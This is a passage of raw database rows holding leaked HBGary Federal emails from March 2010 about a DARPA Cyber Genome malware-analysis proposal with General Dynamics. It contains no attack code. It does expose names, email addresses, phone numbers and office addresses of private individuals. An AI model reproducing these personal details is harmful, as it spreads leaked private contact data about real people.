<aaron@hbgary.com>','/aaron@hbgary.com/new/1297001656.M872922P3547Q3391.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Clarification - RE: Advance Notice of DARPA Requirements - Intellectual Property and OCI','u still on phone?Begin forwarded message:From: \"Larson, Cindy S.\" &lt;Cindy.Larson@gd-ais.com&gt;Date: March 2, 2010 4:33:13 PM ESTTo: \"Ted Vera\" &lt;ted@hbgary.com&gt;Cc: \"Barr Aaron\" &lt;aaron@hbgary.com&gt;, \"Wenthold, Russell L.\" &lt;russ.wenthold@gd-ais.com&gt;, \"Vela, Ryan\" &lt;Ryan.Vela@gd-ais.com&gt;Subject: RE: Clarification - RE: Advance Notice of DARPA Requirements - Intellectual Property and OCIThank you Ted for your &nbsp;quick reply.Please provide a confirming response to me with regard to the IP after you receive the RFP/SOW which I plan to send to you later this week.Regards,Cindy -----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, March 02, 2010 2:11 PMTo: Larson, Cindy S.Cc: Barr AaronSubject: Re: Clarification - RE: Advance Notice of DARPA Requirements - Intellectual Property and OCIWe have no potential OCIs. &nbsp;We do not currently anticipate any IP exceptions, although this will depend somewhat on the specific technical approach the team decides to implement. &nbsp;There is a possibility that we may use some SBIR developed technologies from previous efforts.TedOn Mon, Mar 1, 2010 at 11:23 AM, Larson, Cindy S.&lt;Cindy.Larson@gd-ais.com&gt; wrote:Hello Ted,Further clarification provided regarding my earlier email.We need you to investigate and confirm back to us if your company has any potential OCI(s) as described in the 2nd and 3rd paragraphs.&nbsp; If any conflict of interest exists or may exist, please send the information requested in para. 3 directly to me, Russ Wenthold, and Ryan Vela and not to DARPA.GDAIS will include our disclosure and the subs disclosures at the time we submit our proposal to DARPA.With regard to IP, please review DARPA\'s requirements/expectations and let us know if you have issues with their expectations.&nbsp; If your company will have noncommercial or commercial asserted rights, you can informally identify these to us now, but I will need you to complete the tables (7.1 and 7.1.2) and provide as part of your formal proposal submittal; same holds true for items 7.2, 7.3 and 7.4.Thank you for your questions.Regards,Cindy________________________________From: Larson, Cindy S.Sent: Monday, March 01, 2010 10:32 AMTo: \'ted@hbgary.com\'Cc: Wenthold, Russell L.; Vela, Ryan; \'aaron@hbgary.com\'; Brown, Glenn M.Subject: Advance Notice of DARPA Requirements - Intellectual Property and OCIHello Ted,As discussed by Russ Wenthold during this morning\'s Proposal Kickoff conference call, DARPA has identified their expectations/requirements applicable to Intellectual Property and OCI in DARPA-BAA-10-36 dated January 28, 2010.&nbsp;&nbsp;These requirements will be described in the forthcoming GDAIS Request for Proposal.However, due to the very&nbsp;small window of time related to this proposal effort I have attached&nbsp;DARPAs expectations for your&nbsp;review and response.Please review both documents and provide your comments to all by noon on Wednesday, March 3rd, or sooner.&nbsp;&nbsp; Thank you.Regards,Cindy LarsonGDAIS Sr. Lead Specialist, Contracts480-441-4235--Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10212,'aaron_hbgary_com/10212.html'),(3392,'2010-03-02','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297001657.M156955P3547Q3392.eml','aaron@hbgary.com','Register now for the 2010 USSTRATCOM Cyberspace Symposium','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		          \r\n\r\n	\r\n		\r\n          Online registration for the 2010 USSTRATCOM Cyberspace Symposium is now available! Click here to register.\r\n          \r\n          This event will provide an exciting venue for information exchange among leaders in Cyberspace. Fostering innovation and collaboration between the private sector and government to delve into tough cyber issues will be paramount for this symposium. Sessions will include perspectives of senior Department of Defense, U.S. government, industry, academia, and international participants. \r\n          Featured Speakers include: \r\n\r\n\r\n            The Honorable William J. Lynn, III, Deputy Secretary of Defense \r\n            The Honorable Dave Heineman, Governor of Nebraska             \r\n            Gen Kevin P. Chilton, USAF, Commander, U.S. Strategic Command\r\n                      \r\n          &nbsp;\r\n          Panel Sessions  - Dialogue with the experts:\r\n          \r\n  Supporting Global and Regional Joint Commanders with Cyberspace Capabilities \r\n  International Perspective \r\n  Value/Hazards of Internet-based Networking and Capabilities \r\n  Developing Tomorrow\'s Cyber Operator \r\n  Emerging Cyber Security Technologies \r\n  Critical Infrastructure Protection\r\n  \r\n            \r\n          &nbsp;  \r\n          Exhibition\r\n          Defense contractors and government agencies will showcase the latest products and solutions for cybersecurity.\r\n          &nbsp;            \r\n                        For more information on the conference and to register - please visit http://www.afcea.org/events/stratcom. \r\n    \r\n          \r\n              \r\n    \r\n              Exhibit Information - please contact J. Spargo & Associates at exhibits@jspargo.com\r\n              \r\n    \r\n              Patron/Sponsor Information - please contact Maureen Cirrito at mcirrito@afcea.org\r\n              \r\n    \r\n              We look forward to seeing you in Omaha!\r\n              \r\n    \r\n\r\n            \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	  \r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',11807,'aaron_hbgary_com/11807.html'),(3393,'2010-03-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001662.M217061P3547Q3393.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Attached DRAFT material for BAA from Greg',' \r\nI have put together almost 20 pages of material.  I am also attaching the AFR work from 2005 which I reference in several places.  I am also attaching a powerpoint which contains the raw graphics so you can manipulate them if you need to.\r\n\r\n \r\nPlease call me with feedback ASAP, I will be in idle mode until I hear from one of you.\r\n \r\n-Greg\r\n \r\nOn Tue, Mar 2, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\ncalling...\r\n\r\n\r\nOn Mar 2, 2010, at 11:22 AM, Greg Hoglund wrote:&gt;&gt; Aaron, Ted,&gt; I am making myself available today, all day, for the BAA work.  This is the only day I have to work on this.  I am currently idle and have nothing to work on.  My precious time is being wasted.  I will go research beowulf clusters until I hear from one of you.\r\n&gt;&gt; -GregAaron BarrCEOHBGary Federal Inc.\r\n',13337,'aaron_hbgary_com/13337.html'),(3394,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001662.M579399P3547Q3394.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Past Performance','Bob,\r\n\r\nOne thing you can start writing is some past performance citations that relate to technical area 1 and 3.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15255,'aaron_hbgary_com/15255.html'),(3395,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001662.M863322P3547Q3395.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Attached DRAFT material for BAA from Greg','No idle mode allowed.While I review can you think about how you would do the following.Identify lineage and provenance of digital artifacts from properties and behaviors of the digital artifcacts. &nbsp;Relationships between the elements of a set of artifacts.AaronOn Mar 2, 2010, at 4:44 PM, Greg Hoglund wrote:&nbsp;\r\nI have put together almost 20 pages of material.&nbsp; I am also attaching the AFR work from 2005 which I reference in several places.&nbsp; I am also attaching a powerpoint which contains the raw graphics so you can manipulate them if you need to.\r\n\r\n&nbsp;\r\nPlease call me with feedback ASAP, I will be in idle mode until I hear from one of you.\r\n&nbsp;\r\n-Greg\r\n&nbsp;\r\nOn Tue, Mar 2, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\ncalling...\r\n\r\n\r\nOn Mar 2, 2010, at 11:22 AM, Greg Hoglund wrote:&gt;&gt; Aaron, Ted,&gt; I am making myself available today, all day, for the BAA work. &nbsp;This is the only day I have to work on this. &nbsp;I am currently idle and have nothing to work on. &nbsp;My precious time is being wasted. &nbsp;I will go research beowulf clusters until I hear from one of you.\r\n&gt;&gt; -GregAaron BarrCEOHBGary Federal Inc.\r\n&lt;Emulation_prop_slides.pptx&gt;&lt;Emulated Process Environment.docx&gt;&lt;AFR_SBIR_WHITEPAPER_v1.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7579,'aaron_hbgary_com/7579.html'),(3396,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001663.M351675P3547Q3397.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','help with pricing and cost volume','Hi Chris,\r\n\r\nJust wanted to verify and put Ted in contact with the right person to help out with Pricing and costing for TA3.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11221,'aaron_hbgary_com/11221.html'),(3397,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001663.M535734P3547Q3398.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Attached DRAFT material for BAA from Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg, \r\n\r\n&nbsp;\r\n\r\nI have some questions&#8230;&#8230;&#8230;\r\n\r\n&nbsp;\r\n\r\nQuestion:&nbsp; When REcon traces executed code, does it grab\r\nALL USEFUL DATA?&nbsp; Is there any low level data to grab that we aren\'t grabbing\r\nyet?&nbsp; If there is more data to grab, then the proposal must talk about what we\r\ngrab today and what we still need to work on.\r\n\r\n&nbsp;\r\n\r\nQuestion:&nbsp; What are the gaps in our data recover from RAM\r\nanalysis and static analysis of binaries pulled from RAM?&nbsp; Is there useful data\r\nin RAM and in binaries that we are not yet harvesting?\r\n\r\n&nbsp;\r\n\r\nQuestion:&nbsp; Let&#8217;s assume we AFR works and we can get 100%\r\ncode coverage.&nbsp; And let&#8217;s assume REcon (or similar runtime tool) grabs all low\r\nlevel runtime data and Responder gets all level data from RAM and binaries,\r\nthen what?&nbsp; What do we do with this data?&nbsp; How do we analyze it?&nbsp; What\r\nquestions do we need to answer?&nbsp; How do we display the data?&nbsp; What pretty\r\npictures?\r\n\r\n&nbsp;\r\n\r\nQuestion:&nbsp; How do we do attribution?&nbsp; How do we identify\r\nthe human and organizational threat behind the malware?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, March 02, 2010 4:44 PM\r\nTo: Aaron Barr\r\nCc: Bob Slapnik; Ted Vera\r\nSubject: Attached DRAFT material for BAA from Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have put together almost 20 pages of material.&nbsp; I am\r\nalso attaching the AFR work from 2005 which I reference in several\r\nplaces.&nbsp; I am also attaching a powerpoint which contains the raw graphics\r\nso you can manipulate them if you need to.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease call me with feedback ASAP, I will be in idle mode\r\nuntil I hear from one of you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Tue, Mar 2, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\ncalling...\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 2, 2010, at 11:22 AM, Greg Hoglund wrote:\r\n\r\n&gt;\r\n&gt; Aaron, Ted,\r\n&gt; I am making myself available today, all day, for the BAA work. &nbsp;This\r\nis the only day I have to work on this. &nbsp;I am currently idle and have\r\nnothing to work on. &nbsp;My precious time is being wasted. &nbsp;I will go\r\nresearch beowulf clusters until I hear from one of you.\r\n&gt;\r\n&gt; -Greg\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15757,'aaron_hbgary_com/15757.html'),(3398,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001663.M842271P3547Q3399.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Attached DRAFT material for BAA from Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe AFR doc is an old one.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 02, 2010 4:53 PM\r\nTo: Bob Slapnik; Ted Vera\r\nSubject: Re: Attached DRAFT material for BAA from Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow in the frig does he do this so quickly. &nbsp;I am truly\r\namazed by his capability to do this...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 2, 2010, at 4:44 PM, Greg Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have put together almost 20 pages of material.&nbsp; I am\r\nalso attaching the AFR work from 2005 which I reference in several\r\nplaces.&nbsp; I am also attaching a powerpoint which contains the raw graphics\r\nso you can manipulate them if you need to.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease call me with feedback ASAP, I will be in idle mode\r\nuntil I hear from one of you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Tue, Mar 2, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\ncalling...\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 2, 2010, at 11:22 AM, Greg Hoglund wrote:\r\n\r\n&gt;\r\n&gt; Aaron, Ted,\r\n&gt; I am making myself available today, all day, for the BAA work. &nbsp;This\r\nis the only day I have to work on this. &nbsp;I am currently idle and have\r\nnothing to work on. &nbsp;My precious time is being wasted. &nbsp;I will go\r\nresearch beowulf clusters until I hear from one of you.\r\n&gt;\r\n&gt; -Greg\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Emulation_prop_slides.pptx&gt;&lt;Emulated Process\r\nEnvironment.docx&gt;&lt;AFR_SBIR_WHITEPAPER_v1.doc&gt;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5606,'aaron_hbgary_com/5606.html'),(3399,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001663.M96461P3547Q3396.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Attached DRAFT material for BAA from Greg','How in the frig does he do this so quickly. &nbsp;I am truly amazed by his capability to do this...AaronOn Mar 2, 2010, at 4:44 PM, Greg Hoglund wrote:&nbsp;\r\nI have put together almost 20 pages of material.&nbsp; I am also attaching the AFR work from 2005 which I reference in several places.&nbsp; I am also attaching a powerpoint which contains the raw graphics so you can manipulate them if you need to.\r\n\r\n&nbsp;\r\nPlease call me with feedback ASAP, I will be in idle mode until I hear from one of you.\r\n&nbsp;\r\n-Greg\r\n&nbsp;\r\nOn Tue, Mar 2, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\ncalling...\r\n\r\n\r\nOn Mar 2, 2010, at 11:22 AM, Greg Hoglund wrote:&gt;&gt; Aaron, Ted,&gt; I am making myself available today, all day, for the BAA work. &nbsp;This is the only day I have to work on this. &nbsp;I am currently idle and have nothing to work on. &nbsp;My precious time is being wasted. &nbsp;I will go research beowulf clusters until I hear from one of you.\r\n&gt;&gt; -GregAaron BarrCEOHBGary Federal Inc.\r\n&lt;Emulation_prop_slides.pptx&gt;&lt;Emulated Process Environment.docx&gt;&lt;AFR_SBIR_WHITEPAPER_v1.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13181,'aaron_hbgary_com/13181.html'),(3400,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001664.M348963P3547Q3401.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: HB Gary Logo','From my iPhoneBegin forwarded message:From: &quot;Vela, Ryan&quot; &lt;Ryan.Vela@gd-ais.com&gt;\r\nDate: March 2, 2010 5:20:47 PM ESTTo: &lt;aaron@hbgary.com&gt;Subject: HB Gary Logo\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nCan you send me a logo in good resolution for inclusion in the proposal?\r\n\r\n\r\n\r\nThanks,\r\n\r\nRyan Vela\r\nLead Cyber Security Forensic Examiner\r\n\r\nCyber Protection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile: 832-867-5201\r\n\r\nThis email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5890,'aaron_hbgary_com/5890.html'),(3401,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001664.M625617P3547Q3402.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: Teaming Agreement and Brainstorming','Thanks\r\n\r\n From my iPhone\r\n\r\nOn Mar 2, 2010, at 4:24 PM, Irby Thompson  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Feel free to provide our conference number: 256.325.4671.\r\n>\r\n>    -irby\r\n>\r\n>\r\n> On Mar 2, 2010, at 4:07 PM, Aaron Barr wrote:\r\n>\r\n>> All,\r\n>>\r\n>> Ted Vera is working up a teaming agreement we will have out later\r\n>> today.  In addition we are scheduling a brainstorming session\r\n>> tomorrow at 2pm to try and merge a technical approach around TA3.\r\n>> I will be sending out some thoughts this evening.  At the end of\r\n>> the discussion tomorrow I would like to have a merged approach and\r\n>> some initial writing assignments.  I will provide a dial-in as soon\r\n>> as we establish one for those that can not attend in person.\r\n>>\r\n>> 2214 Mt. Vernon Ave\r\n>> Suite 300\r\n>> Alexandria, VA 22301\r\n>>\r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>\r\n',12196,'aaron_hbgary_com/12196.html'),(3402,'2010-03-02','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297001664.M68569P3547Q3400.eml','aaron@hbgary.com','HB Gary Logo','\r\n\r\n\r\n\r\n\r\nHB Gary Logo\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nCan you send me a logo in good resolution for inclusion in the proposal?\r\n\r\n\r\n\r\nThanks,\r\n\r\nRyan Vela\r\nLead Cyber Security Forensic Examiner\r\n\r\nCyber Protection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile: 832-867-5201\r\n\r\nThis email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1598,'aaron_hbgary_com/1598.html'),(3403,'2010-03-02','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','/aaron@hbgary.com/new/1297001664.M832988P3547Q3403.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: DARPA Cyber Genome SOW template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe base technology that UC Berkley has done is geared toward\r\nbinary analysis; however, that does not mean that it has no value in\r\ncorrelation.&nbsp; For instance, symbolic execution can generate execution\r\ntrees that can be used for spacial correlation.&nbsp; The same can be said for data\r\nflow (data trace analysis).&nbsp; Execution behaviors also place malware into\r\nhuman recognizable groups (worms, bots, etc) that will be invaluable in any\r\nhuman interface to a correlation database.\r\n\r\n&nbsp;\r\n\r\nAs I have said, I realize that task #3 would provide some,\r\npossibly all, of this type of information.&nbsp; The key here is that it would\r\nbe this &#8220;type&#8221; of information.&nbsp; That does not lend itself to\r\ncorrelation.&nbsp; The research in tech area #1 is producing information that\r\nis useful in correlation.&nbsp; That information has to be very specific,\r\npredictable, reliable, and consistent across many different pieces of\r\nmalware.&nbsp; Simply producing the information is not enough, nor is it\r\nrevolutionary.&nbsp; Producing uniform information in a predictable way, so\r\nthat correlation becomes possible is the goal.\r\n\r\n&nbsp;\r\n\r\nI don&#8217;t believe that having a schema for information is\r\nremotely adequate for the task either.&nbsp; Such information would be useful\r\nfor generic categorization, but not for correlation.&nbsp; Simply knowing malware\r\nA and malware B share IRC connectivity, key logging, and rooting make them\r\nrelated in a generic sense, but does not show correlation (that share the same\r\ncode base), though the information does contribute to correlation.\r\n\r\n&nbsp;\r\n\r\nWe are developing method for developing signatures (compound\r\nsignatures really) of functions, internal obfuscation, behaviors, artifacts,\r\nand maps that would be useful in correlation.&nbsp; There are several analysis\r\ntechniques that will have application in both capabilities analysis and\r\ncorrelation; however, the output is not likely to be remotely similar.&nbsp; \\\r\n\r\n&nbsp;\r\n\r\nJason\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, March 02, 2010 12:56 PM\r\nTo: \'Aaron Barr\'; Starr, Christopher H.\r\nCc: \'Ted Vera\'; Upchurch, Jason R.\r\nSubject: RE: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nYes, I see UC Berkley being a better fit for #3 because that\r\nwork is geared toward binary analysis.&nbsp; I see SRI&#8217;s decompilation as\r\nbeing a good fit for #1 because normalization of data is more important for #1\r\nthan #3.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 02, 2010 2:40 PM\r\nTo: Starr, Christopher H.\r\nCc: Bob Slapnik; Ted Vera; Jason R. Upchurch\r\nSubject: Re: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe hard part for me right now (I guess chicken and egg\r\nproblem) is its hard for me to write a 4 year SOW when I am not sure under\r\nwhich framework we are working under. &nbsp;We have ideas using more granularly\r\nidentified traits as well as other &quot;hard artifacts&quot; to do\r\nrelationship analysis. &nbsp;But I am not sure that is the approach you are\r\ngoing for.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs an example. &nbsp;As you develop out your traits and\r\nartifact schema (this would be the normalization of the data), we would look for\r\nuniqueness or similarities in the traits (which represent the properties and\r\nbehaviors), if a trait is unique, how unique. &nbsp;It can\'t be an exact match,\r\nwe have to do some fuzzy analysis to do some percentage of match. &nbsp;Is all\r\nthe code the same but there is a new variable type, or a word mispelling, etc.\r\n&nbsp;Needs to be a tool that can help do the analysis and the marking.\r\n&nbsp;So when the analysis is done the analyst can mark as a parent or child,\r\netc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA graphic interface that allows you to visualize a piece of\r\nsoftware and its traits with linkages to its lineage, maybe colorcoded or some\r\nother visual cue for similarity. &nbsp;So some lines are more closely related\r\nthan others, so something that is spatially close would be more similar in\r\ncolor, etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo HBGary and HBGary Federal can handle the trait\r\nenumeration and correlation of traits into lineages. &nbsp;We can work with\r\nSecure Decisions to develop the approaches to graphically represent this.\r\n&nbsp;Secure Decisions will be working on TA3 to develop visualizations for software\r\nbehaviors in loop and linear software maps.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo building of traits and trait correlation. &nbsp;But is\r\nthis within the right approach?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd again I think the benefit of SRI and UCBerkley in\r\nde-obsfucation and code execution is more for TA3 than TA1.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 2, 2010, at 12:43 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe (internal GD) first have to do the SOW for the teaming\r\nagreement, which is a general statement of what we expect everyone to be\r\ncontributing.&nbsp; We are working on a template for the 4-year Statement of\r\nWork.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s concentrate on the 4-year Statement of Work content.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 02,\r\n2010 12:30 PM\r\nTo:&nbsp;Starr, Christopher H.\r\nSubject:&nbsp;RE: DARPA Cyber\r\nGenome SOW template\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis looks like the SOW for the teaming agreement, not the SOW\r\nfor the actual work for DARPA.&nbsp; In other words, it is the work HBGary will\r\ndo between now and March 15.&nbsp; Do I have this correct?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Starr, Christopher\r\nH. [mailto:Chris.Starr@gd-ais.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 02,\r\n2010 12:20 PM\r\nTo:&nbsp;Bob Slapnik (HBGary)\r\nSubject:&nbsp;FW: DARPA Cyber\r\nGenome SOW template\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob, FYI, here is a SOW\r\ntemplate.&nbsp; We do want everyone to send an initial draft of their SOWs\r\ntoday.&nbsp; I have sent this to Aaron as well.\r\n\r\nChris\r\n\r\n_____________________________________________\r\nFrom:&nbsp;Corcino, Stefanie E.\r\nSubject:&nbsp;DARPA Cyber\r\nGenome SOW template\r\n\r\nAll,\r\n\r\nI have created a\r\nboilerplate SOW for use on this proposal.&nbsp; Areas in red are where we need\r\nto add Company specifics 